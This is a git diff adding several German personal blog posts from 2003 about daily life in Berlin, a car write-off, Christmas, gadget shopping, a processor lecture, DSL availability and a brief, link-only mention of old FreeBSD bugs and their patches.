21im Schnitt genug Patienten ihren Termin nicht wahrnehmen. Wenn dem nicht so ist, muessen die Patienten eben warten. Dies waere ja alles vielleicht
22nicht ganz so schlimm, wenn ich, der ich durch Zufall kein Kassenpatient bin, nicht immer _sofort_ rankaeme. Meinen letzten Zahnarzt musste ich
23auch droppen, weil er nach Blick auf meine Krankenkassenkarte (Privatversicherter) ein Leuchten in den Augen bekam und ganz dringen meine vorher
24noch fast komplett heilen Zaehne an drei von vier Backen mit netten Kronen und Bruecken verzieren wollte. Auf jeden Fall bin ich bei ihm auch immer
25genau zum bestellten Termin auch behandelt worden. Interessanter Fakt ist auch noch, dass die Zahnaerzte durch die sich akkumulierenden
26Zeitverschiebungen von 7 bis 20 Uhr durchgaengig am schneiden sind. Wenn man das weiss, moechte man einen Termin kurz nach der Mittagspause
27abgreifen.
28
29Nachdem ich einen erdrueckende hohen Scheck fuer die Schaeden an meinem guten Alten Auto in die Hand gedrueckt bekommen hab (mir aber seinen
30Schrottwert morgen selber wieder holen muss) hat sich mein Kontostand in schwindelerregende Hoehen geschaukelt. (Wieviel genau mag ich wegen Finanzamt,
31Opa und Mutti nicht sagen.) Morgen kommt ein grosser Lkw und wird die Trennung endgueltig machen. Heute war mein erster Tag komplett ohne Kfz,
32weil der Audi auch wieder zurueck zu Europcar musste. Die Beule, die ich _natuerlich_ reingefahren habe, konnte ich nett mit "Ich bin da mit einem
33Einkaufswagen reingefahren" erklaeren. Dass mein Mitbewohner, der sich lieberweise beim Abschleppen des kaputten Fahrzeugs hinten zum Lenken
34reingesetzt hat, das mit dem Bremsen ohne Bremskraftverstaerker am Anfang noch nicht so ganz raus hatte und deswegen gleich an der ersten Kreuzung in
35den Mietwagen gefahren ist, war zum Glueck nicht auf den ersten Blick nachzuvollziehen und wird auch hoffentlich bei der Vermietung nicht sofort
36entdeckt. Was ich jetzt genau mit dem Geld und der Fahrzeugsituation mache, ist unklar. Ich bin jetzt erstmal betrunken und warum, erzaehl ich morgen.
diff --git a/blog/2003/Dezemberkind.md b/blog/2003/Dezemberkind.md
new file mode 100644
index 0000000..dea0283
--- /dev/null
+++ b/blog/2003/Dezemberkind.md
@@ -0,0 +1,9 @@
1<!--
2.. date: 2003/12/20 03:22
3.. title: Dezemberkind
4-->
5
6Der [Tomster-Tom](http://www.tomster.org/) is Papa. Mal
7wieder. Der Trend geht wohl auch zum Zweitkind. Ich behalte mal an der
8Stelle meinen Zynismus fuer mich und freu mich mal janz ehrlich mit,
9weil ich den Tom sehr mag.
diff --git a/blog/2003/Die_Christenheit.md b/blog/2003/Die_Christenheit.md
new file mode 100644
index 0000000..2573c35
--- /dev/null
+++ b/blog/2003/Die_Christenheit.md
@@ -0,0 +1,96 @@
1<!--
2.. date: 2003/12/26 04:09
3.. title: Die Christenheit
4-->
5
6Wir haben es schon gut. So einmal, wenn es noch nicht so richtig ganz
7dolle kalt ist, haben wir uns alle mal so richtig ganz dolle lieb.
8
9Man hockt dann aufeinander, erinnert sich, die Altvorderen nennen es
10Besinnen. - Naja. - Meist besinn ich mich nur auf die verzweifelten
11Versuche, den aufgestauten Frist herunterzuspuelen. Will sagen: mit viel
12Alkohol wegzuputzen.
13
14Ich habe es geschafft, ohne auch nur die geringste Geschenkidee
15(geschweige denn Geschenke) meine Familie heimzusuchen. Ich wurde so gegen
1615 Uhr aus dem Bett geklingelt, ob ich denn nicht die Bescherung
17miterleben wollte. In Anbetracht meines dicken Schaedels fand ich die Idee
18nicht vollends prickelnd, aber die innige Reflexion der Konsequenzen eines
19komplett verpeilten Heilig Abends trieben mich dann doch aus der Falle.
20Dank der wirklich miserablen Ausstattung meines Kuehlschranks (ich werde
21dann nach dem Zwangskonsumverbot mal wieder aufstocken gehen) schleppte
22ich den Kater bis nach Marzahn. Dort bot sich mir dann der Hungerkiller
23Kirschtorte und Plaetzchen dar. Ich hoffe, dass mein Leiden bemerkt
24wurde.
25
26Das traditionelle Singen war ziemlich toll, auf "mit Gitarre in der Hand
27irgendwas darzubieten" bin ich wohl schon ausreichend konditioniert. Ob
28die anderen meine spontanen Zweitstimmen und Gitarrensoli zu den
29Weihnachtsliedern auch so spannend fanden, wage ich zu bezweifeln.
30
31Die Bescherung an sich lief so an mir vorbei. Ich hab wohl Socken und
32einen Praesentkorb bekommen. Meine Mama hat sich naemlich mal wieder mein
33Zimmer angeschaut. Um 15 Uhr morgens!!! Sie hat fieserweise am 20. oder
3421. beim Schlafen gehn um 10 Uhr angerufen, ob ich denn um 3 noch zu hause
35sei. Und nachdem sie meinen Mitbewohner aus dem Bett geklingelt hat, stand
36sie dann wirklich in meinem Zimmer. Ich mochte ob eines Herrenproblems
37nicht sofort heruntersteigen, aber die Zeit hat sie wohl zur ausgiebigen
38Inspektion meines Wohnraums genutzt. - Einen Praesentkorb also. Mit
39Alkoholika (wie so wohl darauf kommt), nicht verderblicher Nahrung, einem
401l-Pack Kakao (was ich wirklich kool fand) und so Naschzeug. Dank einiger
41redegewandter Kniffe, fiel meine komplette Geschenklosigkeit nicht weiter
42auf. Meiner Schwester vermachte ich die ihr irgendwann dieses Jahr
43verliehene Funknetzwerkkarte, mein Opa hat eh nicht mitbekommen, wer ihm
44was geschenkt hat und meine Eltern haben es (hoffentlich) mittlerweile
45aufgegeben.
46
47Beim [
48Mensch-Aerger-Dich-Nicht](http://de.wikipedia.org/wiki/Mensch_%E4rgere_dich_nicht) bin ich dann Letzter geworden. Warum ich das
49erwaehne? Bei dem Spiel hat mein Opa erwaehnt, dass er fuer uns "Nappa-
50Lederjacken" herumliegen haette, wir duerften uns welche aussuchen. -
51Geil! irgendein ehemaliger Kollege, der jetzt Haustuergeschaefte macht,
52hat Opa besucht und ihm fuer 500EUR 10 Lederjacken und -westen
53uebergeholfen. Die ihm nicht einmal passten. Dieser verdammt Flachw****er.
54Beim spaeteren Angucken stellte sich heraus, dass die nicht mal besonders
55huebsch sind. Und Nappa schonmal eher gar nicht. Ich hab dann
56kurzentschlossen alle Jacken geschnappt, teilweise fotografiert (Link
57folgt noch) und werde sie die naechsten Tage auf [eBay](http://www.ebay.com/) loszuwerden versuchen, damit Opa
58wenigstens Teile seines Geldes wiedersieht.
59
60Wo ich gerade beim Fotografieren bin: ich habe mir noch ein Spielzeug
61aquiriert, das ich dann nachtraeglich als Geschenk von Opa umdeklariert
62habe. Eine [
63Mustek 4000 DV](http://www.mustek.com./html/prod_camra/dv4000.html). Soll heissen: ein Geraet, das nur halb so gross ist,
64wie mein iPod und Filme und mp3s aufnehmen kann. Ziemlich cool. Wenn ich
65herausgefunden habe, wie ich die .afs, die da herausfallen, in irgendwas
66Nicht-proprietaeres umzuwandeln, werden kleinere Clips mein Blog
67bereichern. Ich habe da schon ein paar Impressionen, die mich beschaeftigt
68haben, aufgezeichnet.
69
70(Abrupter Themenabbruch) Nach dem netten Fest und der Nachhausefahrt bei
71Papa hinten im Auto trieb es mich dann endlich auf die Piste. Die
72ausgewiesene [Touristenstrasse,](http://www.simon-dach-strasse.de/)
73die ich mein zu hause nenne, war unglaublich leer. Waehrend man normal
74stundenlang auf Parkplatzsuche ist, boten sich einem diesmal [
75ICE-kompatible](http://www.heute.t-online.de/ZDFheute/artikel/23/0,1367,MAG-0-2011735,00.html) Parkluecken. Der Grund? Das gesamte Studentenpack aus
76Sued- und/oder Westdeutschland, das fuer gewoehnlich Kunden und Bedienung
77in der Gegend stellt, hat sich lieber daheim in Dortmund oder Stuttgart
78unter dem [
79Weihnachtsbaum](http://www.weihnachtsbaum-meister.de/meister2.html) breitgemacht. Da ich aber gerade ohne Kfz bin,
80konnte die Freude ueber Parkplaetze _deutlich_ nicht den Frust ueber die
81geschlossenen Lokale wettmachen. Ich habe mich dann mit Kumpel Robert im
82[
83Coyote](http://boxhagenerplatz.mareea.de/artikel/kneipenguide.php4) niedergelassen. Er hat so eins, zwei traurige Frauengeschichten
84zu erzaehlen gehabt, die prima mit dem Bier und Cocktail-gemisch
85harmoniert haben. Weil der Rest der Bagage noch an Fundamentalistenfeiern
86(so Mitternachtsmesse oder sowas) teilnehmen mussten, ging es dann erst so
87gegen halb eins weiter nach Prenzlauer Berg. Im ehemaligen H20 war es
88schon ein wenig gemuetlicher, die Kundschaft war dagegen aber auch
89anstrengender. (Wohl inklusive mir.) Die Nacht endete bloederweise mit den
90zwei Sitz-Entenschnaebeln zum Bett zusammengeschoben in der Firma. Heute
91gab es kurzes bcc angucken und wieder trinken. Ich muss mal einen Tag
92nuechtern bleiben. Nur so um zu gucken, wie das ist. Geht ja auch ins
93Geld.
94
95Die Geschichte mit der Chemie-Klausur folgt noch. Keine Angst. Ich muss
96nur den Scanner wieder heile machen.
diff --git a/blog/2003/Dinge_erledigt.md b/blog/2003/Dinge_erledigt.md
new file mode 100644
index 0000000..d1811f6
--- /dev/null
+++ b/blog/2003/Dinge_erledigt.md
@@ -0,0 +1,50 @@
1<!--
2.. date: 2003/11/14 01:00
3.. title: Dinge erledigt
4-->
5
6Nachdem ich mir von meiner Arbeit nach 2 Wochen durchgaengig Schaffen mal einen freien Tag rausgehandelt habe, bin ich richtig zu was gekommen.
7Ich hab meine Kueche endlich gemuetlich hergerichtet. Dazu bedurfte es nur eines IKEA Regals Marke [
8Ivar](http://www.ikea.de/webapp/wcs/stores/servlet/CategoryDisplay?catalogId=10101&storeId=5&categoryId=10411&langId=-3&parentCats=10104*10173*10411&chapterId=10437&cattype=sub) und der Bohrmaschine, die ich irgendwo hin verliehen hatte. Nachdem deren Aufenthalt bei meinem Kumpel Andreas identifiziert wurde und
9ich im Baumarkt meines Vertrauens auch noch den richtigen Steinbohrer erstand, hab ich die einmeter-Version von Ivar nach einem Tip von [
10Frank](http://frank.geekheim.de/) an die Wand gehangen und bin ausserordentlich gluecklich mit den insgesamt 6 neuen Abstellflaechen. Fotos gibts demnaechst. bei der
11Gelegenheit hab ich auch beschlossen, dass Staubsaugen in meinem Flur aussichtslos ist. Ich werd mich mal nach nem neuen Teppich umsehen.
12
13Gestern abend war ich mit meinem Opa lecker griechisch essen. Der hat ne Donauschiffsreise hinter sich. Und natuerlich lang und breit davon
14erzaehlt. Hoerte sich zuerst nicht so spannend an. Aber wenn man denn mitbekommt, wo er da ueberall war: Wien, Budapest, Bratislava... denn
15wird man schon ein wenig neidisch. Muss man denn unbedingt alt sein, um das mal zu sehn? Ich werd' mir irgendwann mal einen Zug schnappen und
16das alles auch angucken. Donau und alte Leute muessen nicht unbedingt sein.
17
18Nachdem ich ja ohne Kfz eines BVG-Daseins friste, habe ich die ersten Fuehler nach einer Uebergangsmobilitaetsbeschaffungsmoeglichkeit ausgestreckt.
19Dabei bin ich wieder auf die Option verfallen, die ich zum Anfang meines Studiums gewaehlt hab: Motoroller. Damals habe ich mir von meinem ersten
20Uni-Nebenjob eine [Schwalbe](http://www.dooyoo.de/fahrzeuge/motorrad/simson_schwalbe/) in der ["Zweiten Hand"
21](http://www.zweitehand.de/) geshopt (das war sowas wie ebay, bevor es so richtig internet fuer alle gab, nur ohne Versteigerung und auf Papier). Mit der war ich auch eine
22echte Weile gluecklich. Bis ich meine damalige Freundin damit hab fahren lassen. Sie hat den Antriebsmechanismus fachmaennisch irreparabel zerschossen
23und einem Simsonbastler eine weitere guenstige Maschine verschafft. Mittlerweile sind meine Ansprueche ein wenig gestiegen. Vor allem, weil jetzt
24Winter ist. (Die Reifen der Schwalbe haetten auch grad von einem Bollerwagen abgeschraubt sein koennen.) Und Automatik waaer bestimmt auch nett und
25Helm nicht ueberall mit hinschleppen muessen auch.
26
27Das schoene an Motorrollern ist ja, dass sie keine festen Kosten machen. Nagut, einmal jaehrlich ca. 35 EUR. Aber das wars dann auch schon. Benzin
28schlucken sie fast auch keins, weil ja eigentlich nur eine Person plus das bisschen Gewicht der Maschine bewegt werden muss. Und im Stadtverkehr ist
29man damit deutlich schneller, als mit einem sperrigen Auto. Und neue bekommt man schon ab 1000 EUR. Muss ich mal sparen.
30
31Vor allem, weil neben Teppich und Motorroller noch ein iPod ansteht, den [Constanze](http://www.informatik.hu-berlin.de/~kurz) mir aus
32Amerika mitbringen will. Wenn ich das mit der Ueberweisung rechtzeitig hinbekomme. Zudem wartet noch eine Nebenkostenabrechnung und ganz in der Ferne
33eine fette Geldbusse auf mich. Mal sehn.
34
35Heute war ich uebringens auch noch essen. In einem Kubaner in der Reinhardtstrasse. Es ist schon eine Weile her, dass ich in einem Lokal getafelt hab,
36in dem [Berliner Buergerbraeu](http://www.berliner-buergerbraeu.de/) kredenzt wird. Als mich dann noch auf der Karte "Rindersteak mit
37chili con carne und spiegelei" mit noch diversen Zutaten anlaechelte und ein obskures Hefe gereicht wurde, war es der Hunger und die nette Gesellschaft
38von Philipp, die mich dort hielt. Sehr schoen auch die Live-Gesaenge zu den karibischen Schnulzentapes, die immer wieder Tekkno-Style Aussetzer haben.
39Fuer Goafreund Philipp bestimmt die reinste Freude. Das Chili con Carne war dann zu meiner Ueberraschung ohne Fleisch. Um genau zu sein waren es
40schwarze gekochte Bohnen. Dafuer war dann aber auch das Steak nicht zu gross. Waren aber auch draussen keine Sterne dran.
41
42Und jetzt noch schnell die Aufloesung, wieso ich zum letzten Eintrag hier im Blog zu betrunken war: eine groessere Firma, an deren Projekt ich
43beteiligt gewesen bin, war mit der Arbeit der Firma, fuer die ich arbeite, scheinbar sehr zufrieden und lud die Projektbeteiligten in ein teureres
44Restaurant ein. Da das aufgrund diverser Termine wahrscheinlich erst im naechsten Monat etwas wird, hat nun meine Firma, als Generalprobe, die Geladenen
45in ein teures Restaurant gelotst. Dort gab es dann lecker Strauss zu essen und, da grad Cocktail-happy-hour war, auch gehoerig was zu trinken. Der
46leckere Rioja fuer nur 36 EUR pro Flasche tat dann sein Uebriges, mich zum letzten Eintrag zu bewegen.
47
48Morgen und uebermorgen hab ich auch frei. Seele baumeln lassen. Ausschlafen. Baden (obwohl, war ich heute schon). Vielleicht spazieren gehen und Ruine
49erkunden. - Dabei faellt mir ein: in das alte Chemieinstitut zieht nach erfolgreicher Renovierung die Unibibliothek ein. Wer Paintball spielen moechte,
50sollte das schnell tun, oder die Sanierung boykottieren.
diff --git a/blog/2003/Geekin.md b/blog/2003/Geekin.md
new file mode 100644
index 0000000..769c996
--- /dev/null
+++ b/blog/2003/Geekin.md
@@ -0,0 +1,14 @@
1<!--
2.. date: 2003/10/29 03:15
3.. title: Geekin
4-->
5
6Fieses Erwachen. Nachdem ich die Nacht laenger arbeiten war und erst um 6 nach hause gekommen bin, haben die Rueckholreflexe nach dem Anruf eines Kollegen perfekt funktioniert. Ohne eigentlich zu wissen, warum, stand ich nur 23 Minuten spaeter zerknautscht an der Kaffeemaschine, um von Cpunkt auf den Boden der Realitaet gebimmelt zu werden. Eigentlich stand eine Vorlesung an. In Adlershof. Und keine 10 Minuten spaeter fand ich mich auf dem Berliner Ring wieder. Teils, weil es tagsueber der schnellste Weg von Fast-pankow nach Fast-gruenau ist, teils, weil ich noch keinen 1,9l Turbodiesel auf der Autobahn gefahren bin. Nachdem ich 20 Minuten vor mich hingeduest bin und immer noch nicht Marzahn vorbeigerauscht war, wurde mir langsam bewusst, dass ich den Ring falschrum reingefahren bin.
7
8In meiner kindlichen Freude, dies festgestellt zu haben und einer herrlichen Naivitaet, die Laenge des Rings betreffend, fuhr ich also froehlich weiter, weil die Richtung (lt. Matheunterricht 4. Klasse) so eigentlich egal ist, auf einem Kreis kommt man zum Ziel. Eine Stunde spaeter hab ich es dann doch geschafft. Und freute mich nun auf eine [toll nerdige](http://www.informatik.hu-berlin.de/Studieren/kvv/aktuell/hsprakt.shtml#hs_pi_ia-64versus) Vorlesung, die mir den [IA-64](http://www.intel.com/products/server/processors/server/itanium/index.htm?iid=sr+64&) nahe bringen sollte. Vorher hatte ich aber noch damit zu kaempfen, das Kfz zu parken. Es sind inzwischen zu viele Erstis mit zuviel Geld von Mami und Papi am Institut. Zu meiner Zeit.... aber, was beklag ich mich.
9
10Der Prof. war einigermassen fit, aber praesentierte nur Binsenweisheiten, der Uebungsgruppenleiter hatte sich die entscheidenen Folien bei Intel kopiert und ich hatte nach so 20 Minuten den Ueberblick ueber die Features und Philosphie des Prozessors. Dummerweise hoerte er nach 20 Minuten nicht auf und es begannen peinliche Detailanalysen, die er mit diebischem Stolz praesentierte. Das gesamte Seminar durfte all die kleinen Feinheiten kredenzt bekommen, die der sichtlich angetane Doktorant entdeckt (oder verstanden) hat. Eher nicht einladend, wenn Teilnahme an der Uebung Voraussetzung fuer Schein und Pruefung ist, werde ich es wohl kicken muessen.
11
12Der IA64 hat diverse Features eingebaut, die sich eigentlich ganz spannend anhoeren, wenn man ein Compiler _ist_. Er wurde um typischen, von Compilern generierten, Sourcecode, respektive statistischen Analysen darueber, designed. Man kann immer nur 3 Instruktionen im Bundle schreiben und wird noch ziemlich eingeschraenkt darin, welchen Teil des Prozessors pro parallel ausgefuehrtem Bundle die einzelnen Instruktionen nutzen koennen. Da ich den ARM-Assembler liebgewonnen hab, der sich fast wie BASIC programmiert, kann ich dem IA64 eigentlich nichts abgewinnen.
13
14Nach weiterer fleissiger Arbeit und einigem Wuehlen in meinem Coding-Verzeichnis fiel mir noch [dieser lokale Exploit](http://packetstormsecurity.nl/9909-exploits/FreeBSD_DoS.txt) fuer FreeBSD seit 3.0 wieder in die Hand. Ich hatte damals eine Mail an die Security Officers geschickt, aber keine Antwort erhalten. Und noch heute funktionierte der Exploit. Da haben unsere Helden den [commit](http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/kern/vfs_cache.c?rev=1.38.2.3&content-type=text/x-cvsweb-markup) in den RELENG3 branch nicht in die 4 uebernommen und den Bug seitdem froehlich mitgeschleppt. Fuer alle, die sich ihr FreeBSD gegen diesen Exploit sichern wollen, hat der Cryx [hier](http://outpost.h3q.com/patches/) die Patches hingelegt. Zudem hat er noch eine Mail an die Security Officers los geschickt. So richtig hoffnungsvoll bin ich aber nicht. Zudem kam beim Recherchieren [noch einer](http://packetstorm.widexs.nl/9908-exploits/freebsd_DoS.txt) raus. Auf einem nfs-server bricht der schon Genicke. Bleibt eigentlich nur noch *sigh*...
diff --git a/blog/2003/Geld_ausgeben.md b/blog/2003/Geld_ausgeben.md
new file mode 100644
index 0000000..5245edd
--- /dev/null
+++ b/blog/2003/Geld_ausgeben.md
@@ -0,0 +1,26 @@
1<!--
2.. date: 2003/11/24 20:20
3.. title: Geld ausgeben
4-->
5
6Ja. Ich war shoppen. Hat mal gut getan. Nachdem sich aus besagten Gruenden ein wenig Geld auf dem Konto akkumulierte, fand ich es an der Zeit, Anschaffungen zu machen, zu denen man sich sonst (Bodennebel, was weiss ich) nicht durchringen kann. Man hat natuerlich immer zuwenig Geld, aber ueblicherweise gibt man es dann auch noch fuer Bloedsinn aus. Also jetzt dringend her damit:
7
81) Ein Computer. - Wenn man von der Firma mit allen notwendigen Devices ausgestattet wird, denkt man gar nicht mehr daran, dass es eine coole Idee ist, auch noch eigene Hardware zu besitzen. Nur fuer den Fall der Faelle. Also bin ich auf Rat meines Mitbewohners zu [Siggelkow](http://www.siggelkow.de/) in der Frankfurter gelatscht und habe mir das billigste bundle mitgenommen. Nur 299EUR. Ich fand, da kann man nichts falsch bei machen. Ist zwar x86, aber in der Groessenordnung bekommt man fuer den Preis keinen Mac und [Acorn Computer](http://www.acorncomputers.co.uk/) haben ihren Zenit wohl unwiederbringlich ueberschritten. (Mein erster Computer war ein Acorn Archimedes 3010 und eigentlich haenge ich noch an der Platform). Den Rechner werde ich mir jetzt sukzessive ausbauen, einen Extrariegel RAM hab ich schon gleich dazugekauft, grosse Platte kommt demnaechst und viel mehr braucht man eigentlich nicht.
9
102) Einen iPod - Eine Freundin (deren Namen ich wegen Zollparanoia ich hier nicht veroeffentlichen werde) war bei Verwandten in den Staaten und hat mir beim sagenhaften Dollarkurs von 1.20EUR einen [40GB-iPod](http://www.apple.com/ipod/) geshoppt. Wenn man noch 6% Tax in den Staaten dazunimmt, kann man sich leicht ausrechnen, was ich bezahlt hab. Nachdem cpunkt ein wenig am FireWire fuer FreeBSD gehackt hat, habe ich gar keine Angst mehr und werde das Geraet auch als Mitnehmefestplatte benutzen. Ich habe mein ganzes Leben noch nie so einen richtigen Walkman o.ae. gehabt. Ich war meistens so paddelig, den innerhalb kuerzester Zeit zu zerstoeren, zu verbummeln, oder (wenn er zu robust und/oder zu treu war) zu langweilig zu finden. In mein Leben hat Musik zum Mitnehmen immer nur am Rande gepasst (als letztes auf der Festplatte von meinem Thinkpad mit Kopfhoerern aus dem Rucksack) und ich hoffe, dass sich das jetzt aendert. Genauso, wie das coole Feature [Putty fuer den 9210](http://www.s2.org/putty) dafuer gesorgt hat, dass ich den Communicator immer bei mir habe und somit zum ersten Mal ernsthaft Kalender fuehre und wenigstens ein bisschen Ordnung in meine Termine gebracht habe, wird der iPod hoffentlich ob seines Features "Mal eben eine DVD ins [Nerdkino](http://outpost.h3q.com/CCCinema.html) tragen" oder "ein FreeBSD-ISO-Image, dass in der Hosentasche nicht kaputt geht" dafuer sorgen, dass ich die Musik, die ich mag, immer dabei ist. Eine Tasche in meiner Hose ist auf jeden Fall noch frei.
11
123) Einen [Hosentaschen-Amp](http://www.nobels.de/cgi-bin/products/show.pl?d_guitar-mycro) fuer meine treue Fender(nachbau :). - Muss ich wohl nicht besonders viel zu sagen, macht entspannte Nachbarn und Arbeitskollegen und laesst sich mit Aktivboxen prima zu nem BueroAmp kombinieren. Kostet so 35EUR, aber macht Augen leuchten. Die Saiten und den neuen Gurt, die ich mir noch dazu geleistet habe, werde ich nicht extra aufzaehlen.
13
144) Und aus der gruenen Gewinnpalette gabs fuer Kaspar, meinen echt fleissigen Bassisten, weil der nix gewonnen hatte, einen ODB-3 dazu (das ist DER Referenzbassverzerrer). Die Proben haben zuletzt wieder richtig Laune gemacht, weil Kaspar (im Gegensatz zum alten Basser) zu hause fleissig Songs geuebt hat (danke dir, Kaspar) und darum dachte ich, dass wir dann wenigstens einen Hauch von Professionalitaet in den Probenraum hineintragen koennen. Vielleicht bring ich Julia nachtraeglich zu ihrem Geburtstag fuer die Drums auch noch was mit, aber dazu muss sie erstmal fleissiger trommeln ;)
15
165) Einen 60cm Steinbohrer. - Mag sich jetzt zwar komisch in der Liste machen, aber er repraesentiert fuer mich die Bestaendigkeit beim Herrichten meiner Wohnung. Sie ist durch das viele Arbeiten, Studieren, Nerdzeitung und Sport machen, woanders Feiern undundund so ein bisschen vernachlaessigt worden, ueber die letzten beiden Jahre. Obwohl sie eigentlich sehr cool ist. Nachdem ich (wie schon geschrieben) Bad- und Kuechenregal angebracht und meine ganze Kueche umsortiert hab (was auch der hygienischen Gesamtsituation dort sehr zutraeglich war und meinen Mitbewohner nebst Gattin zum regelmaessig kochen zu animieren scheint), war nach dem Erwerb des Computers Heimvernetzung angesagt. Wavelan ist zwar cool, aber zum Austausch groesserer Dateien ungeeignet. Andererseits machen Kabel in der Wohnung keine gute Laune. Dem widersprach jedoch bisher die unaufgeraeumte Serverecke im Flur. Nach einer kleinen Bohrung durch die Wand und dem Umlegen eines HUBs konnten 90% der Kabel (die bisher auch noch durch die Tuer gelegt wurden) eingespart werden. Nur mein Zimmer konnte ich wegen einer 55cm-Wand nicht mit Netzwerkkabel versorgen. Und nun ratet mal, wozu ich den 60cm Bohrer brauche.
17
18Gerade erreicht mich die Meldung, dass sowohl meine Kfz-Versicherung mir die zuviel bezahlte Praemie zurueck ueberwiesen hat, als auch das Finanzamt mir einen Scheck ueber die Kfz-Steuern bis 05/2004 hat zukommen lassen. Dazu kommt noch, dass die 150EUR, die ich wegen einer frueheren Trennung (in deutlich nicht beiderseitigem Einvernehmen) der Telekom als Sicherheit ueberweisen musste, wieder auf meinem Konto gelandet sind. Wenn ich von meinem Mitbewohner noch den Rest Miete bekomme, kann ich mich schon als richtig wohlhabend bezeichnen. - Ich glaube, ich werde die naechsten Tage mal _richtig_ CDs shoppen gehn, die ich bisher nur als mp3 rumliegen hatte. Anders kann ich Muse, Goldfinger (Die Hang-Ups kann ich waermstens empfehlen) und Element of Crime leider keine Kohle zukommen lassen, die sie dringend verdient haben.
19
206) ,aber das kann man nur schwerlich als Shoppen bezeichnen, hab ich fuer einen Kurztrip nach Schwaben mal eine [Mietwagenzentrale](http://www.avis.de/) bemueht. Fuer nur 94EUR gab es einen Smart mit 1500km inklusive, dazu kommt nochmal (5l auf 100km) Benzin und das war es schon an Kosten. Unglaublich, dass man bei der Bahn fuer diesen Preis nicht mal EINE Person nach Stuttgart (geschweige denn in die Naehe von Rottweil) befoerdern kann. Obwohl der Smart nur 140km/h faehrt, kamen wir noch einigermassen entspannt und nicht zu spaet an. Irgendwer muss mir mal ganz dringend erzaehlen, welchen Grund es fuer das Bahnfahren geben soll.
21
22Schwaben war sehr angenehm. Geiles TShirt-Wetter nochmal im November (wobei da _bestimmt_ was im Argen liegt, mit dem Klima), Nahrung im Ueberfluss, Schafe und Ziegen streicheln, gemuetlicher Fernsehabend (hab ja zu hause keinen, da geniess ich sorgfaeltig ausgewaehltes Zappen) und trinken gehen mit Leuten, fuer die 23 Uhr schlafen gehen schon spaet ist.
23
24Nach der erfolgreichen Heimkehr mussten wir den Smart heute morgen um 7 Uhr (in Worten: SIEBEN) wieder abgeben. War nicht nett. Und prompt bin ich, verpennt, wie ich war, aus dem Verleih mit dem Autoschluessel rausgelatscht, so dass die aufgeregte Dame von hinterm Schalter hinterher gerannt kam und hoeflich fragte, ob ich denn durch Zufall noch den Schluessel haette. Danach gings dann gleich wieder schlafen und dann so um eins rum zum Fruehstuecken. Eigentlich wollte ich mich ja mit besagter iPod-Dame dazu treffen, aber wegen dringender Angelegenheiten ihrerseits wurde das nichts und ich seh das Geraet wohl erst Donnerstag.
25
26Ich war dann mit meinem Kumpel Andreas in der mbar. War nicht so lecker. Und nachdem er mich dann spaeter anrief und fragte, ob mir auch so speiuebel sei, konnte ich das dumpfe Rumoren in meinen Eingeweiden endlich zuordnen. Da war wohl was schlecht. Also eher nicht mehr in die mbar.
diff --git a/blog/2003/Google_bomben.md b/blog/2003/Google_bomben.md
new file mode 100644
index 0000000..0310cb6
--- /dev/null
+++ b/blog/2003/Google_bomben.md
@@ -0,0 +1,12 @@
1<!--
2.. date: 2003/12/09 17:34
3.. title: Google bomben
4-->
5
6Nachdem "uebliche Verdaechtige" es hinbekommen haben, bei der Google-Suche
7nach [miserable
8failure](http://www.google.com/search?q=miserable+failure) George Bush ins Rampenlicht zu ruecken, gibt es eine neue
9Initiative, denn nach meiner Meinung ist George ein [war criminal](http://www.whitehouse.gov/president/gwbbio.html).
10Alle blogger, die da mitmachen wollen, sollten da mal den link hier so
11kopieren: <a href="http://www.whitehouse.gov/president/gwbbio.html">war
12criminal</a>
diff --git a/blog/2003/Hefe_und_Diesel.md b/blog/2003/Hefe_und_Diesel.md
new file mode 100644
index 0000000..b7d74df
--- /dev/null
+++ b/blog/2003/Hefe_und_Diesel.md
@@ -0,0 +1,8 @@
1<!--
2.. date: 2003/10/23 20:41
3.. title: Hefe und Diesel
4-->
5
6Ich bin unter die Audifahrer gegangen. Zumindest fuer eine Woche. Die nette Haftpflicht des VW-Fahrers hat mir nen Leihwagen zur Verfuegung gestellt. Und da ist ein [Audi A4](http://www.audi.com/de/de/neuwagen/a4/avant/avant.jsp) bei abgefallen. Faehrt sich eigentlich ganz nett, obwohl ich ihn in regelmaessigen Abstaenden abgewuergt bekommen hab. Aber das wird sich schon noch geben. Der Verdacht des wirtschaftlichen Totalschadens meines armen alten Autos hat sich nun bestaetigt. Es wird wieder Zeit, eine Grundsatzmeditation ueber generellen Sinn und Unsinn eines Kfz in Berlin zu halten. Ich fuerchte aber, dass bis zum Ende meines Studiums in Mitte und Adlershof gepaart mit Wohnung in Friedrichshain und einer Beschaeftigung in Prenzlauer Berg die Entscheidung eher unoekologisch ausfallen wird. Zumindest denke ich ernsthaft ueber einen Diesel nach. Moeglichst sparsam. [Soll ja angeblich billiger werden.](http://www.swr.de/thema/archiv/030912_alternative_antriebe/biodiesel.html)
7
8Gestern abend wurde ich noch von meinem Kumpel Andreas zum Hefetrinken in die [Bar23](http://www.pyonen.de/bar23/) eingeladen. War zwar ganz nett, aber nur aufgrund der Leute, die da sonst noch da waren. Mein Kumpel Andreas hat sich naemlich genau mit allen _Anderen_ unterhalten. Aber das Hefe war dann trotzdem ganz gut.
diff --git a/blog/2003/Hoffen_auf_Netz.md b/blog/2003/Hoffen_auf_Netz.md
new file mode 100644
index 0000000..1f636ca
--- /dev/null
+++ b/blog/2003/Hoffen_auf_Netz.md
@@ -0,0 +1,12 @@
1<!--
2.. date: 2003/10/24 14:28
3.. title: Hoffen auf Netz
4-->
5
6Ich muss mich an der Stelle mal als [Opalopfer](http://www.heise.de/tp/deutsch/inhalt/te/4885/1.html) outen. Wem das nichts sagt, dem sei nur
7kurz angedeutet, dass da ein grossartiges "wir verkabeln mal den ganzen osten mit glasfaser"-Experiment stattgefunden hat, das Opal genannt wird. Folge
8ist, dass DSL, das bisher nur ueber Kupfer funktioniert, nicht in Opalgegenden vergeben werden kann. Und da es bei Mutter T keine Flatrates ohne DSL
9mehr gibt und kein anderer Anbieter sich in Opalgegenden die teuren Brueckenkoepfe leisten moechte, muss man sich ueber T-ISDN teures Netz machen.
10Bisher war die Strategie der Telekom, die Glasfaser wieder herauszureissen (!?!) und Kupfer neu zu verlegen. Q2 2004 war letzter Stand fuer meine
11Wohngegend. Jetzt flatterte mir aber [diese Meldung](http://www.heise.de/newsticker/data/tol-21.10.03-000/) unter die Finger, die mich
12darauf wetten laesst, dass genau in _DEM_ Moment, wo sie DSL ueber Glasfaser anbieten, das Kupferkabel bei mir zu hause angeschlossen wird.
